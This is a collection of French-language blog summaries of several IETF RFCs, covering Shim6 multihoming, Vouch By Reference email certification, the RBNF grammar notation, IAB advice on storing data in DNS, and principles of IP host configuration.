Chemin des normes
Réalisé dans le cadre du groupe de travail IETF shim6
Première rédaction de cet article le 18 juin 2009
Quelles sont les méthodes disponibles dans l'Internet d'aujourd'hui pour assurer une plus grande fiabilité à un site ? On peut payer plus cher son FAI mais cela ne garantit pas une meilleure fiabilité. Aujourd'hui, la seule méthode réaliste est d'avoir plusieurs FAI, le multihoming. Mais cela implique d'avoir ses adresses IP à soi et de faire du BGP avec ses FAI. Si on utilise en effet des adresses « appartenant » à un des FAI, la panne de celui-ci empêchera de les utiliser, même si l'autre connexion est intacte. Comme les protocoles de transport comme TCP sont liés aux adresses IP utilisées, cela veut dire que toutes les sessions TCP existantes seront cassées. Ce n'est pas forcément génant pour HTTP, aux connexions souvent courtes, mais bien plus grave pour, par exemple, SSH. Le multihoming sans BGP permet donc d'établir de nouvelles connexions, mais pas de faire vivre les anciennes.
Il faut donc faire du BGP. Mais c'est complexe et, surtout, cela impose de mettre ses adresses IP dans la table de routage globale, qui est déjà bien chargée. Shim6, objet de ce RFC, propose une autre solution, lier les connexions à un groupe d'adresses IP, pas à une seule comme actuellement. On pourrait alors changer l'adresse utilisée en couche 3 sans dommage pour la couche 4. Shim6 dispense donc d'utiliser BGP.
Ce nouveau protocole dépend d'IPv6, comme son nom l'indique, car sa sécurité et même son fonctionnement de base nécessitent des mécanismes propres à IPv6. Shim6 se situe conceptuellement entre la couche 3 et la couche 4, d'où son nom de shim (mince couche entre deux vraies couches). On peut noter que SCTP (RFC 3286) part d'une idée proche (le groupe d'adresses IP) mais fonctionne, lui, dans la couche 4. Shim6, au contraire, est accessible à tous les protocoles de transport comme, par exemple, le TCP traditionnel.
Une autre façon de s'attaquer au même problème est de séparer complètement l'identificateur du localisateur comme le fait HIP, ce qui permet de traiter des problèmes supplémentaires comme la mobilité. Cette séparation est explicitement marquée comme « non-but » dans Shim6, qui ne manipule que des « localisateurs » même si l'un d'eux, baptisé « identificateur » sans l'être vraiment, a un rôle particulier dans l'association (section 1.3, qui définit les ULID - Upper-Layer Identifier).
Il existe donc désormais un grand choix de protocoles, tous prometteurs mais tous aussi marginaux les uns que les autres.
La gestation de ce protocole a été longue et difficile. Au final, Shim6 est un protocole très complexe, avec un RFC de plus de 130 pages (sans la détection de panne, qui fait l'objet d'un document séparé, le RFC 5534).
La section 1 expose les principes de base de Shim6. Le protocole est mis en œuvre complètement dans les machines finales, il ne nécessite aucune participation des routeurs. Chaque machine a un jeu d'adresses IP possibles, a priori toutes liées à un FAI (Shim6, contrairement à BGP, n'impose pas d'utiliser des adresses PI - Provider Independant). À un moment donné, une paire d'adresses (source et destination) est utilisée pour la communication effective et les machines peuvent changer de paire par la suite (le mécanisme de détection des pannes, ou des autres raisons qui qui déclencheraient un changement de paire, sera spécifié dans un autre document). Pour assurer qu'une machine ne puisse pas prétendre être utilisatrice d'une adresse IP quelconque, des adresses HBA (Hash Based Addresses) ou CGA (signées par la cryptographie) sont utilisées.
La section 1.1 détaille le cahier des charges et la 1.2 l'anti-cahier des charges, les questions qui étaient hors-sujet pour Shim6. Dans le cahier des charges, cette section 1 insiste notamment sur le côté « opportuniste » de Shim6 : contrairement à HIP, une association Shim6 peut commencer sans échange particulier et être établie bien après la connexion TCP. D'autre part, outre la résistance aux pannes, Shim6 doit permettre la répartition de charge, selon des paires d'adresses IP différentes. Dans l'anti-cahier des charges, se trouve la question de la rénumérotation, suite à des changements de FAI. Shim6 ne la traite pas (section 1.5) : l'ensemble des adresses IP disponibles doit être fixe, ou, en tout cas, changer lentement. Shim6 ne permet donc pas le nomadisme, même si celui-ci pourra être traité dans le futur. En attendant, au début de l'association Shim6, toutes les adresses IP possibles doivent être connues.
Shim6 est un protocole de couche « 3,5 », entre la couche de réseau et la couche de transport (section 1.6). Les protocoles situés au dessus de Shim6, comme TCP ou UDP utilisent des adresses IP habituelles, les ULID (Upper-Layer Identifier, voir la section 2.1 pour une terminologie complète). En dessous d'eux, Shim6 va fabriquer des paquets IP dont les adresses sources ou destination pourront être des ULID (puisque Shim6 ne sépare pas localisateurs et identificateurs) ou bien des purs localisateurs, différents des ULID que continue à utiliser le protocole de transport. Shim6 maintient, pour chaque paire d'ULID, la liste des localisateurs possibles (les adresses IP utilisables pour la communication).
Après une section 2 de terminologie et de notations, puis une section 3 sur les pré-supposés de Shim6, voici venir le protocole lui-même en section 4. L'essentiel du fonctionnement de Shim6 peut être résumé dans les étapes suivantes :
Donc, on ne peut pas, en observant le réseau, savoir si un contexte Shim6 est disponible car les paquets ne sont modifiés (par l'ajout de l'en-tête d'extension Shim6) que si la première paire de localisateurs devient inutilisable.
Ces en-têtes d'extension sont une nouveauté d'IPv6 (RFC 2460, section 4). Leur présence dans les paquets IPv6 est rare aujourd'hui mais des techniques comme Shim6 pourrait la rendre plus fréquente (si les différents pare-feux acceptent de les laisser passer). La section 4.6 décrit le placement de l'en-tête Shim6.
Les informations mémorisées par chaque machine (ULID de la connexion, localisateurs possibles, contextes, etc) sont décrites dans la section 6.
Comme toute technique d'indirection,
c'est-à-dire comme toutes les techniques qui découplent, si peu que ce
soit, l'identificateur et le localisateur, Shim6 est vulnérable aux
attaques portant sur la correspondance entre utilisateur et
localisateur. Qu'est-ce qui empêche un méchant, par exemple, d'ajouter
une adresse IP qu'il ne contrôle pas légitimement, au jeu des
localisateurs, pour que son partenaire Shim6 y envoie des paquets ? La
section 4.4 résume les techniques utilisées pour empêcher cela, qui
tournent autour d'adresses cryptographiques (RFC 3972 et RFC 5535) et de tests
de la connectivité effective (voir si le pair répond avant de le noyer
sous les paquets, cf. section 5.13 pour le message Probe
).
Comment se fait l'établissement du contexte Shim6 ? Par un échange de quatre paquets (comme dans HIP) et non pas de trois paquets comme avec TCP. La section 4.5 résume ces quatre paquets, I1, R1, I2 et R2, pour lesquels l'explication complète est en section 7 (et la machine à états dans la section 20). La liste des localisateurs connus est envoyée dans ces paquets mais elle peut être modifiée par la suite, Shim6 ayant d'autres messages de contrôle que ces quatre-ci (section 10).
Le format des messages sur le câble est normalisé dans la section 5. Les messages de contrôle de Shim6 ne circulent ni sur UDP, ni sur TCP mais dans son propre protocole, de numéro 140 (section 17). Le début du paquet est le même pour tous les messages Shim6 (section 5.1). Les messages de la communication en cours ont le 16ème bit à 1 et sont décrits dans la section 5.2. Les messages de contrôle ont ce 16ème bit à zéro et font l'objet de la section 5.3.
Comment se fait le premier contact ? La procédure est synthétisée
dans la section 13. La méthode recommandée est d'essayer toutes les
adresses disponibles, de ne pas renoncer simplement parce qu'une paire
d'adresses émetteur-récepteur ne fonctionne pas. Le problème de cette
méthode est que, mise en œuvre directement (boucler sur toutes
les adresses de la liste de struct addrinfo
renvoyée par getaddrinfo()
et tenter
un connect()
sur chacune) va mener à
de longs délais puisqu'il faudra attendre l'expiration du délai de garde.
Idéalement, il faudrait donc tenter des connexions non-bloquantes simultanément.
Comment est établi un contexte Shim6 ? La section 7 fournit toutes les informations nécessaires. L'échange nécessite quatre paquets (section 7.3), ce qui permet (contrairement à l'échange à trois paquets de TCP) de ne pas garder d'état dès le premier paquet, tout en permettant l'usage d'options. Cette section couvre également la vérification des adresses utilisées (section 7.2), vérification, par la cryptographie, que le « propriétaire » d'un ULID a le « droit » d'utiliser ces localisateurs et vérification que ces localisateurs fonctionnent.
Un problème classique de toute séparation, même partielle, entre l'identificateur et le localisateur, est le traitement des erreurs envoyées par ICMP. L'émetteur de ces erreurs ne connait pas forcément Shim6 et gère simplement des adresses IP. Il faut donc, sur réception d'un message ICMP, retrouver le contexte Shim6 (section 8) et transmettre le message ICMP à la couche de transport puisque, dans la plupart des cas, c'est elle qui doit être informée des erreurs. Cela nécessite de réécrire le message pour remplacer les adresses IP par des ULID, les seules adresses que connaisse la couche 4.
Arrivé à ce point du RFC, il est temps de voir quelques contraintes d'implémentation. Elles sont regroupées dans la section 15. D'abord, si Shim6 change la paire de localisateurs utilisée, les paquets IP passeront probablement par un chemin bien différent, et Shim6 devrait donc (section 15.1) prévenir la couche de transport que la congestion sera probablement différente.
Tout nouveau protocole qu'on tente de déployer sur l'Internet doit se battre contre les middleboxes, les équipements intermédiaires qui refusent fréquemment les paquets inconnus. La section 15.2 soulève le problème. Par exemple, quoique que Shim6 soit une technique entièrement « machine », qui est gérée uniquement aux extrémités du réseau (section 15.3), il est toujours possible qu'un pare-feu bloque les paquets Shim6. Cela apparaitra à chacune des machines comme une absence de Shim6 chez le pair. Outre cette paranoïa générale des pare-feux, Shim6 soulève des questions particulières puisque l'autorisation ou l'interdiction des paquets devraient, idéalement, prendre en compte les ULID, pas les adresses IP du paquet. Shim6 aura donc les mêmes difficultés que HIP ou SCTP à s'installer dans un Internet très ossifié.
Enfin, certaines applications passent des adresses IP à leurs pairs (par exemple les téléphones SIP) et elles devraient donc s'assurer (section 15.4) qu'elles n'envoient pas uniquement l'ULID mais un nom de domaine ou bien le jeu complet de localisateurs.
Et la sécurité ? La section 16 résume les problèmes spécifiques à Shim6 (cf. RFC 4218) et les solutions possibles. Contre le risque d'usurpation d'adresses IP, les adresses cryptographiques, HBA (RFC 5535) et CGA (RFC 3972). Contre les attaques par inondation (en redirigeant du trafic vers une machine innocente), les tests d'atteignabilité (vérifier que la machine répond positivement avant de lui transmettre des gigaoctets).
En parlant d'implémentations, quelle est la situation de Shim6 de
ce côté ? Une équipe coréenne avait mis en œuvre Shim6 pour le
noyau Linux. Leur travail avait été décrit dans
l'Internet-Draft
draft-park-shim6-implementation
mais le travail
semble ne pas être allé plus loin. Plus récemment, une autre équipe, belge, avait
réalisé LinShim6
, sur le même système et
documenté dans l'Internet-Draft
draft-barre-shim6-impl
. Il existe aussi une autre
implémentation Linux dans l'OpenHIP. Une
liste à jour des tentatives se
trouve sur le site « officiel ».
Terminons ce résumé du RFC 5533 avec les annexes. La section 19 décrit de possibles extensions futures du protocole. Celui-ci est déjà bien assez compliqué comme cela et beaucoup d'idées ont été laissées à de futures nouvelles versions, comme la pré-vérification d'une paire de localisateurs de secours, l'interaction avec Mobile IP ou encore la normalisation d'une API. À l'heure actuelle, il n'existe pas d'API standard pour l'application qui voudrait être consciente de Shim6 et, par exemple, forcer ou, au contraire, interdire son utilisation (section 4.3).
L'excellente section 22 intéressera les étudiants en réseaux informatiques et tous les curieux qui se demandent « mais pourquoi les choses sont-elles comme elles sont ? ». Elle est en effet consacrée aux choix alternatifs, à ce qui aurait pu être. Parmi les idées envisagées et finalement abandonnées, on trouve d'autres solutions de sécurité (section 22.4) comme l'utilisation de cookies lors de l'établissement de l'association. La connaissance du cookie prouvait qu'on était toujours le même pair. Mais le cookie aurait été vulnérable lors d'une écoute du réseau. D'où le choix final des adresses cryptographiques. Dans le cas de HBA (RFC 5535), tous les localisateurs (toutes les adresses IP) sont liées et on peut donc vérifier que deux adresses appartiennent au même ensemble HBA. Par contre, HBA ne permet pas d'ajouter ou de supprimer des localisateurs. Dans le cas de CGA (RFC 3972), l'ULID est une clé publique (plus rigoureusement, un résumé d'une clé publique) et signe les localisateurs, ce qui autorisde l'ajout de localisateurs. Mais CGA dépend donc de la cryptographie à clé publique, plus coûteuse.
La création d'un contexte Shim6 (ce que j'ai baptisé association) se fait avec quatre paquets. On aurait pu en utiliser moins (section 2.5), pour accélerer l'association mais le choix a finalement été de privilégier la protection contre les attaques DoS. Une des raisons du choix est que, de toute façon, l'établissement de l'association ne bloque pas la connexion qui utilise Shim6, puisque les premiers paquets peuvent passer avant que Shim6 ne crée son contexte. Ce n'est donc pas trop grave si l'association prend du temps.
Date de publication du RFC : Avril 2009
Auteur(s) du RFC : P. Hoffman (Domain Assurance Council), John Levine (Domain Assurance Council)
Chemin des normes
Première rédaction de cet article le 7 avril 2009
Le courrier électronique ne fournit pas assez de garanties pour un certain nombre d'utilisations, notamment celles exigeantes en matière de sécurité. Il y a donc beaucoup de propositions pour améliorer les choses, dont ce RFC qui propose un mécanisme par lequel un message électronique peut annoncer le nom d'un certificateur, qui se portera garant (to vouch for) de son sérieux.
La section 1 résume le principe : un en-tête
VBR-Info:
est ajouté au message par l'émetteur, et le receveur
qui veut vérifier le message va demander aux tiers certificateurs,
listés dans cet en-tête, leur
opinion. Il y a plusieurs points importants pour que cela améliore
réellement la sécurité comme le fait que le receveur doit d'abord
authentifier le domaine
émetteur ou comme l'importance pour le receveur de ne consulter que
des certificateurs qu'il connait et apprécie (autrement, l'émetteur pourrait
toujours ne mettre que les noms de ses copains à
lui dans le VBR-Info:
, cf. section 8).
Vouch By Reference est donc une technique d'autorisation, pas d'authentification, et la différence est essentielle.
La section 2 explique l'utilisation de l'en-tête VBR-Info:
(ou des
en-têtes ; ils peuvent être plusieurs). Il contient le nom du domaine
émetteur (celui qu'il faut authentifier avant de contacter les
certificateurs), le type du message (un même émetteur peut avoir des
messages de types différents par exemple « publicité » et «
opérationnel ») et enfin la liste des certificateurs qui peuvent se
porter garant, sur le thème de « Oui, nous connaissons
example.com
et tous ses messages de type
opérationnel sont utiles ». La syntaxe formelle est en section 4 et un exemple de VBR-Info:
est :
VBR-Info: md=example.com; mc=operation; mv=certifier.example;
où example.com
est l'émetteur du message et certifier.example
le certificateur qui peut se porter garant.
Le processus exact de validation d'un message entrant fait l'objet de la section 3. En gros, le récepteur :
C'est la section 5 qui fournit les détails sur cette requête
DNS. Elle utilisera le type d'enregistrement TXT sur le nom de domaine
du certificateur, préfixé par le nom de domaine à certifier et la
chaîne de caractères _vouch
. Ainsi, dans
l'exemple ci-dessus, la requête DNS sera pour
example.com._vouch.certifier.example
. S'il y a
une réponse, c'est que certifier.example
se porte
garant et le texte de la réponse contient une liste des types garantis
(par exemple « operational security
» garantit
les messages opérationnels et de sécurité et ne dit rien sur les
message de type advertisement
). Les types sont
décrits plus en détail en section 6. Notez bien qu'ils sont gérés par
l'émetteur et ne « prouvent » donc rien, ils ne sont là que pour la
traçabilité. Il existe certains types standards comme
transaction
(message envoyé en réponse à une
action spécifique de l'utilisateur).
Enfin, la section 7 revient en détail sur l'authentification du nom
de domaine de l'émetteur. Sans précaution particulière, un VBR-Info:
ne
vaudrait rien puisque le méchant pourrait toujours mettre un autre
domaine que le sien dans le VBR-Info:
. Notre RFC recommande donc de
vérifier ce nom avec DKIM (RFC 6376), présenté en section 7.1 mais il permet également
d'autres techniques comme SPF (RFC 7208 et section 7.3).
Date de publication du RFC : Avril 2009
Auteur(s) du RFC : A. Farrel (Old Dog Consulting)
Chemin des normes
Première rédaction de cet article le 3 mai 2009
Contrairement à d'autres SDO, l'IETF utilise relativement peu de langages formels dans ses normes. Beaucoup de protocoles réseaux sont normalisés uniquement en langage naturel. Malgré les efforts des chercheurs qui ont développé de nombreux langages de spécification comme Lotos ou le désormais abandoné Estelle, malgré l'exemple de SDO qui dépendent de langages comme SDL/Z100, l'IETF reste fidèle aux langues humaines. Parfois, un langage formel est quand même utilisé pour une partie d'une norme. Souhaitons donc la bienvenue à RBNF (Routing Backus-Naur Form), nouveau venu dans cette famille.
Les langages formels n'étaient pas du tout utilisés au début des RFC. Petit à petit, certains sont arrivés comme ROHC-FN (RFC 4997) mais ils sont loin d'avoir pénétré partout. L'IETF n'a ainsi toujours pas de langage formel standard pour les machines à états, ni pour le format des paquets, toujours spécifiés par de l'art ASCII. Il y a plusieurs raisons à cet état de fait, l'une étant que les langages formels existants sont souvent de grosses usines à gaz assez irréalistes (l'apprentissage du langage devient une contrainte et plus une aide) et n'ont souvent même pas une seule mise en œuvre en logiciel libre.
Mais un des grands succès IETF en matière de langage formel est un langage pour écrire des grammaires, ABNF (RFC 5234). Il est utilisé pour de très nombreux RFC. Comme souvent à l'IETF, son utilisation n'est toutefois pas obligatoire et on peut constater que plusieurs RFC dans le domaine du routage ont choisi une autre forme de BNF, qui n'était pas normalisée jusque là. C'est ainsi que (section 1.2) les RFC 2205, RFC 3473, RFC 4204, RFC 5440 et bien d'autres utilisent un dialecte désormais nommé RBNF pour Routing Backus-Naur Form. Ce dialecte vient d'être normalisé dans notre RFC 5511. Son usage est conseillé pour des RFC reprenant et étendant les techniques décrites dans les RFC cités plus haut. Mais, pour des projets complètement nouveaux, il est plutôt conseillé de regarder ABNF (section 1.3).
La définition complète du langage figure en section 2. Il est plus
proche de la BNF classique qu'ABNF ; par
exemple, la définition d'une règle utilise ::=
et
pas =
comme en ABNF (section 2.2.1). Les noms
des règles sont systématiquement entre chevrons (section 2.1.1), par exemple (tous les exemples
sont tirés du RFC 5440)
<request-list>
ou bien
<Keepalive Message>
. Les définitions
terminales sont typiquement écrites en majuscules et sans espaces
(section 2.1.2)
comme <BANDWIDTH>
ou
<NO-PATH>
. Les règles peuvent être
combinées par des opérateurs par exemple la concaténation (section
2.2.2) notée simplement en mettant les noms des règles à la
queue-leu-leu ou bien le choix (section 2.2.4) noté
|
. La répétition peut se
faire par récursion par exemple
<request-list> ::= <request>
[<request-list>]
(section 2.2.5).
Avec uniquement ces opérateurs, il pourrait y avoir un risque de
confusion avec des règles comme celle, hypothétique,
<truc> ::= <machin> | <chose>
<bidule>
. Est-ce que
<machin>
seul est légal ? Tout dépend de la
précédence entre le choix et la
concaténation. Les règles exactes de précédences sont normalisées dans
la section 2.4 mais tous les lecteurs ne les connaissent pas forcément
sur le bout des doigts et il est donc demandé de groupe explicitement
les règles avec des parenthèses (section 2.2.6). La concaténation lie plus fortement que l'alternative
et, donc, la bonne interprétation de la règle ci-dessus est <truc> ::= <machin> | (<chose>
<bidule>)
.
Selon la section 3, consacrée à la validation automatique des grammaires, il n'y a malheureusement pas encore d'outil automatique pour RBNF comme il en existe pour ABNF. Un jour où j'aurai le temps, je modifierai Eustathius pour cela...
Date de publication du RFC : Avril 2009
Auteur(s) du RFC : P. Faltstrom (IAB), R. Austein (IAB), P. Koch (IAB)
Pour information
Première rédaction de cet article le 23 avril 2009
Le DNS est au cœur de la plupart des transactions sur l'Internet. Bien connu, très fiable et largement déployé, il est un service très tentant, lorsqu'on veut déployer un nouveau service d'information sur l'Internet. Bien des protocoles ont ainsi délégué la récupérations de données au DNS. Parfois, ils ne l'ont pas fait de manière optimum et ce RFC de l'IAB veut « redresser la barre » en précisant les bonnes (et les mauvaises) façons de stocker et de récupérer de l'information dans le DNS.
Dès le résumé, notre RFC pointe le problème le plus fréquent : abuser des enregistrements de type TXT (texte), le type le plus tentant pour distribuer de l'information. Par exemple, SPF à l'origine utilisait exclusivement ce type pour distribuer des politiques d'autorisation de MTA, exprimées en un mini-langage (la version finalement normalisée, dans le RFC 4408, a créé un type spécifique, nommé SPF mais, en pratique, le TXT reste le plus utilisé, le SPF ayant même été abandonné dans le RFC 7208). La principale conclusion du RFC est donc qu'il vaut mieux, en général, créer un nouveau type d'enregistrement.
À l'origine, le DNS stockait surtout deux sortes de données : celles liées à l'infrastructure DNS elle-même comme les enregistrements SOA ou NS et celles liées à la résolution de noms en adresses IP (enregistrement A) ou inversement (PTR). Le succès du DNS, sa disponibilité universelle, ont mené à bien d'autres utilisations, soit spécifiques à une application comme les enregistrement MX, soit génériques comme les enregistrements SRV du RFC 2782. Beaucoup d'autres, plus récents, s'y sont ajoutés comme les SSHFP du RFC 4255 ou les HIP du RFC 8005. (Les sections 1 et 2 du RFC rappellent les bases du DNS, nécessaires pour comprendre la question.)
Quels sont les moyens disponibles aujourd'hui pour « étendre » le DNS, pour stocker de nouveaux types de données dans cette base ? La section 3 les liste successivement.
Il y a la possibilité (section 3.1) de stocker les données dans un enregistrement
générique comme TXT ou le défunt SINK ou NAPTR et d'ajouter dans
ses données un sélecteur qui indique à
l'application si ce sont bien ces données. SPF
fonctionne ainsi, la présence de la chaîne v=spf1
au début de l'enregistrement TXT indiquant qu'il s'agit bien de
SPF. Les utilisateurs des NAPTR (RFC 6116) font souvent
pareil. Cette méthode (nommée subtyping) a un gros inconvénient. Comme les requêtes DNS
se font par clé (la question posée, le QNAME) et
pas par valeur, il n'y a aucun moyen de ne récupérer que les
enregistrements intéressants. On les obtient tous et on trie
après. Ainsi, si je veux les enregistrements SPF de
sources.org
, je dois récupérer deux
enregistrements :
% dig TXT sources.org ... sources.org. 86400 IN TXT "v=spf1 mx a:uucp.bortzmeyer.org a:central.sources.org ?all" sources.org. 86400 IN TXT "Sources" ...
et trier ensuite. Cela peut poser des problèmes si le nombre d'enregistrements de ce type (le RRset) est gros.
La section 3.2 propose une autre méthode : ajouter un préfixe au
nom de domaine (le QNAME). C'est, par exemple, ce que fait
DKIM (RFC 6376) qui utilise des enregistrements TXT mais
des noms de domaine qui lui sont propres. Si je reçois un message
signé par DKIM qui indique le domaine example.net
et le sélecteur beta
, je fais une requête DNS pour le type TXT et le nom beta._domainkey.example.net
. XMPP a un mécanisme analogue.
La principale limite de cette méthode vient des
jokers (wildcards). Les jokers
ne peuvent apparaitre que tout à fait à gauche d'un nom de
domaine. Donc, si on a un joker dans example.net
,
il ne sera pas facile d'en faire un pour
_prefixe.*.example.net
(cf. RFC 4592). Cela concerne particulièrement le courrier
électronique car c'est la principale utilisation des jokers.
Continuons les méthodes possibles. Puisque le préfixe a des
limites, pourquoi pas un suffixe ? (Section 3.3.) Le principal
problème est alors de s'assurer que example.net
et example.net._suffixe
sont synchrones, alors
qu'ils sont désormais dans deux sous-arbres du DNS complètement
distincts.
Plus astucieuse est l'idée de jouer sur la classe. La question DNS ne comporte pas uniquement un nom de domaine (QNAME) mais aussi un type (QTYPE) et une classe (QCLASS). On a tendance à oublier cette dernière car elle vaut quasiment toujours IN (pour INternet) mais d'autres classes sont possibles et certaines sont déjà enregistrées. Mais, si certaines applications comme Hesiod (j'avais déployé Hesiod dans les salles de classe du CNAM il y a longtemps...) utilisaient ces autres classes, il parait difficile aujourd'hui de s'en servir, beaucoup de logiciels, de serveurs intermédiaires et de pare-feux n'acceptant pas les classes autres que IN. Et, du point de vue administratif, cela représente une nouvelle arborescence à mettre en place, puisque l'arbre du DNS dans une autre classe ne correspond pas forcément à celui de IN.
Alors, un nouveau type ? Je trahis le suspense mais c'est en effet la solution privilégiée par l'IAB. La section 3.5 explique les avantages de ce mécanisme mais aussi ses limites. Pour insérer des données du nouveau type, et pour pouvoir les utiliser, il faut que beaucoup d'acteurs mettent à jour quelque chose :
En plus de ces difficultés techniques, l'enregistrement d'un nouveau type utilisable dans le DNS a toujours été un processus très long et très complexe. L'IAB le reconnait dans ce RFC (après l'avoir nié pendant longtemps) mais ce n'est que depuis la sortie du RFC 5395 en novembre 2008 que le processus est devenu raisonnable. (Obtenir un nouveau type demeure un certain travail car l'espace disponible est sur 16 bits seulement, donc pas infini et il faut justifier sa demande.)
Maintenant que les différentes solutions ont été présentées, il
faut fournir les éléments permettant de choisir. Avant cela, la
section 4 fait un petit détour sur un problème sur lequel les
débutants en DNS se cassent souvent le nez, le fait que les frontières
des zones DNS soient invisibles aux applications. En effet, le
découpage d'un nom de domaine en sous-domaines qui est, lui, visible (les
éléments sont séparées par des points), n'indique pas où sont les
frontières de zones, encore moins quelles sont les frontières
administratives et politiques. Si je vois le nom
www.durand.free.fr
, est-ce un nom contrôlé par
Free ou bien Free a t-il délégué à M. Durand,
son client ? Rien dans le DNS ne permet de le savoir et une
application qui se baserait sur cette connaissance aurait de grandes
chances de se tromper. Ainsi, on a vu des applications, lorsqu'elles
ne trouvaient pas un nom dans un domaine, chercher dans le domaine
parent. C'est très dangereux, car rien n'indique si le domaine parent
est sous le contrôle des mêmes personnes (ce mécanisme, dit de
tree climbing, fut la base de la faille
de sécurité WPAD). La seule solution serait de
connaitre la politique de tous les registres, y
compris ceux qui ne sont pas des TLD comme
eu.org
, ce qui est évidemment irréaliste. Voir
aussi le RFC 1535 sur ce point.
La section 5 synthétise tous ces points en recommandant fortement la création d'un nouveau type d'enregistrement DNS, lorsqu'on a besoin de stocker des données dans le DNS. Cette section exprime une certaine compréhension pour le développeur qui n'utilise pas le DNS pour le plaisir, mais parce qu'il a besoin de stocker ses données et d'y accéder, et qui n'est donc pas un expert DNS, et qui file donc droit vers la solution la plus évidente, les enregistrements TXT.
Mais cela ne change rien aux problèmes posés par les TXT notamment le manque de structure interne. Chaque application qui utilise les TXT doit donc définir son mini-langage, rendant ainsi difficile la cohabitation d'enregistrements TXT d'applications différentes. En pratique, le TXT est donc plutôt un enregistrement privé, dont la signification est laissé à chacun.
La cohabitation est rendue encore plus difficile par l'absence d'un
sélecteur standard (le RFC 1464 avait essayé d'en définir un
mais avait été un échec). Chaque application doit donc avoir son
mécanisme pour « reconnaître ses petits » (comme le
v=spf1
de SPF).
Les enregistrements TXT avec un préfixe spécifique dans le nom de domaine, comme ceux de DKIM, sont meilleurs mais souffrent d'autres problèmes comme la difficile cohabitation avec les jokers.
Il reste donc, et la section 6 conclut le RFC sur ce point, à lire le RFC 5395 et à remplir un dossier pour avoir un nouveau type d'enregistrement. C'était très difficile autrefois, aussi bien à obtenir qu'à déployer ensuite, mais c'est désormais plus facile.
Date de publication du RFC : Mai 2009
Auteur(s) du RFC : B. Aboba, D. Thaler, Loa Andersson, Stuart Cheshire
Pour information
Première rédaction de cet article le 20 mai 2009
Comment est-ce qu'une machine arrive à se connecter à Internet alors que tant de paramètres doivent être configurés, comme l'adresse IP, la longueur du préfixe de celle-ci, les résolveurs DNS à utiliser, etc ? Ces réglages qui se faisaient autrefois à la main sont maintenant souvent automatisés. Ce RFC de l'IAB explique les principes de la configuration IP et les meilleures façons de la faire.
Commençons par la section 1.2 qui explique les paramètres en jeu. Ils sont séparés en deux parties, les paramètres de couche 3 (section 1.2.1) et ceux des couches supérieures (section 1.2.2). Parmi les paramètres de la couche réseau, il y a bien sûr l'adresse IP, dont dépend tout le reste. Souvent configurée autrefois avec le protocole RARP, elle est désormais souvent fixée par DHCP sur IPv4 et par DHCPv6 et l'auto-configuration sur IPv6. Ces protocoles ont en effet en commun de fonctionner entièrement sur IP, contrairement à RARP. La configuration d'IP est donc auto-suffisante.
Les autres paramètres sont souvent configurables par DHCP, le routeur par défaut, le fichier à charger si la machine charge son système d'exploitation via le réseau, la MTU du lien, etc.
Bien sûr, on peut toujours configurer ces paramètres manuellement,
ce qui est souvent fait pour des serveurs, qui changent rarement de
paramètres, et n'aiment pas dépendre de mécanismes externes comme
DHCP. Par exemple, sur une machine Debian, on
configurera ces paramètres dans le fichier
/etc/network/interfaces
:
# Configurer l'interface eth0 avec une adresse fixe iface eth0 inet static # Adresse IPv4 address 80.67.170.53 # Longueur du préfixe, ici 26 bits, sur les 32 d'une adresse v4 netmask 255.255.255.192 # Routeur par défaut gateway 80.67.170.1 ...
Les paramètres des couches supérieures incluent les adresses des serveurs de noms (DNS la plupart du temps mais il y a aussi des mécanismes de résolution de noms comme LLMNR qui ne nécessitent pas de configuration), service de synchronisation d'horloge (typiquement NTP), etc.
Quels sont les bons principes pour la configuration de ces paramètres ? La section 2 tente de répondre à ces questions. Premier principe, posé en section 2.1 : « Tout ce qui peut être configuré peut être configuré de travers ». Notre RFC rappelle donc le RFC 1958 qui disait « Évitez les options et les paramètres autant que possible. Les options et les paramètres devraient être configurés ou négociés dynamiquement, plutôt qu'à la main ». L'idée est qu'on éviterait bien des erreurs en découvrant les paramètres automatiquement plutôt qu'en demandant à l'administrateur système de les fixer. Par exemple, la MTU peut être découverte par les techniques du RFC 4821. Tout protocole devrait donc avoir le moins de réglages possible ou, en tout cas, ceux-ci devraient pouvoir être obtenus automatiquement.
En outre, le processus de configuration devrait, même s'il est automatique, être simple. C'est ce que détaille la section 2.2 qui cite encore le RFC 1958 : « Que cela reste simple. En cas de doute lors de la conception d'un protocole, choisir la solution la plus simple. » Une des raisons de ce choix est qu'IP tourne sur un très grand nombre de machines, du téléphone portable au super-calculateur et ceux-ci ont des capacités très variables. Le code IP doit donc pouvoir tenir dans une machine de bas de gamme. Un exemple typique concerne les machines qui doivent charger le noyau de leur système d'exploitation depuis le réseau (PXE). Puisque, par définition, le système n'est pas en route lors de ce chargement, le code qui l'effectue doit pouvoir tenir dans une ROM et donc être très petit (cela exclut TCP, par exemple, et c'est une raison de plus de n'embarquer qu'IP, sans protocoles de configuration additionnels).
Et le choix des mécanismes de configuration ? La section 2.3 demande de le minimiser : un vaste ensemble de tels mécanismes augmenterait la taille du code, le temps de configuration (il faudrait essayer successivement plusieurs méthodes) et l'interopérabilité (au cas où deux machines du même réseau ne mettent pas en œuvre les mêmes mécanismes).
Moins évidente est la nécessité de ne pas dépendre des couches basses (typiquement la couche 2) pour la configuration. Ce point fait l'objet de la section 2.4. Une implémentation d'IP va typiquement tourner sur plusieurs types de réseaux et ne peut pas compter sur une technique qui serait disponible sur tous. La méthode recommandée est donc qu'IP se débrouille seul.
Il existe des contre-exemples dans la famille IP. Avec PPP, le protocole IPv4CP du RFC 1332 assurait la configuration IP et une extension à PPP (RFC 1877) configurait les serveurs de noms. Cette erreur (compréhensible à l'époque, où DHCP était très rare) a été corrigée dans son équivalent IPv6, IPv6CP (RFC 5072, mais il y a aussi d'autres mécanismes de configuration en IPv6). Le RFC 3818 a ainsi sérieusement limité la possibilité de rajouter des mécanismes de configuration dans PPP.
En outre, la couche 2, en croyant bien faire, peut en fait limiter les possibilités des machines IP. Ainsi, si l'adresse IPv6 était configurée par la couche 2, des services comme les adresses temporaires de protection de la vie privée (RFC 4941) ou comme les adresses cryptographiques du RFC 3972 ne pourraient pas être utilisées.
Enfin, la section 2 se clôt sur un point important : la configuration n'est pas le contrôle d'accès et devrait en être complètement séparée (section 2.5). De toute façon, l'administrateur d'une machine peut toujours la configurer à la main et vouloir limiter l'accès au mécanisme de configuration n'a donc guère de sens. Si on veut limiter l'accès au lien de niveau 2, il vaut mieux utiliser une technique spécifique telle que 802.1X.
